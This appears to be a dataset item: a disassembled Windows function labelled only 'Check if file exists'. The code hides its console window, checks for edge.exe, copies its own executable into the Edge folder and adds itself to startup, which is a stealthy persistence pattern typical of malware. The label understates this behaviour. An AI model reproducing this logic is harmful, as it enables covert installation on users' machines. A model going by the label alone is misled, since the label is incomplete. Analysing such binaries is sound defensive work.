Function at 0x140001361
Capabilities:
Check if file exists

Disassembly:
jmp 0x1400026b0
push rdi
sub rsp, 0x220
lea rdi, [rsp + 0x20]
mov ecx, 0x80
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x210], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140002703
xor edx, edx
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.USER32.dll_ShowWindow]
nop
mov r8d, 0x104
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x168]
call fcn.140001244
nop
lea rcx, [rsp + 0x168]
call fcn.1400014f1
movzx eax, al
test eax, eax
je 0x1400028b6
lea rcx, [rsp + 0x1a8]
call fcn.1400012f3
nop
lea rcx, [rsp + 0x1a8]
call fcn.14000106e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rsp + 0x1d4], eax
cmp dword [rsp + 0x1d4], 0xffffffff
je 0x140002784
mov eax, dword [rsp + 0x1d4]
and eax, 0x10
test eax, eax
je 0x1400027e7
lea rdx, str.edge.exe_not_found_or_is_a_directory.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000109b
mov qword [rsp + 0x1f0], rax
lea rdx, [0x14000101e]
mov rcx, qword [rsp + 0x1f0]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov dword [rsp + 0x1e0], 1
lea rcx, [rsp + 0x1a8]
call fcn.1400010f5
nop
lea rcx, [rsp + 0x168]
call fcn.1400010f5
mov eax, dword [rsp + 0x1e0]
jmp 0x140002927
lea rcx, [rsp + 0x1a8]
call fcn.14000123a
movzx eax, al
test eax, eax
je 0x140002843
lea rdx, str.Application_successfully_added_to_startup:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000109b
lea rdx, [rsp + 0x1a8]
mov rcx, rax
call fcn.14000149c
mov qword [rsp + 0x1f8], rax
lea rdx, [0x14000101e]
mov rcx, qword [rsp + 0x1f8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14000107d
nop
jmp 0x1400028a6
lea rdx, str.Failed_to_add_application_to_startup.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000109b
mov qword [rsp + 0x200], rax
lea rdx, [0x14000101e]
mov rcx, qword [rsp + 0x200]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov dword [rsp + 0x1e4], 1
lea rcx, [rsp + 0x1a8]
call fcn.1400010f5
nop
lea rcx, [rsp + 0x168]
call fcn.1400010f5
mov eax, dword [rsp + 0x1e4]
jmp 0x140002927
lea rcx, [rsp + 0x1a8]
call fcn.1400010f5
nop
jmp 0x140002908
lea rdx, str.Failed_to_copy_application_to_Edge_folder.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000109b
mov qword [rsp + 0x208], rax
lea rdx, [0x14000101e]
mov rcx, qword [rsp + 0x208]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov dword [rsp + 0x1e8], 1
lea rcx, [rsp + 0x168]
call fcn.1400010f5
mov eax, dword [rsp + 0x1e8]
jmp 0x140002927
mov dword [rsp + 0x1ec], 0
lea rcx, [rsp + 0x168]
call fcn.1400010f5
mov eax, dword [rsp + 0x1ec]
mov rdi, rax
mov rcx, rsp
lea rdx, [0x140010490]
call fcn.140001424
mov rax, rdi
mov rcx, qword [rsp + 0x210]
xor rcx, rsp
call fcn.140001276
add rsp, 0x220
pop rdi
ret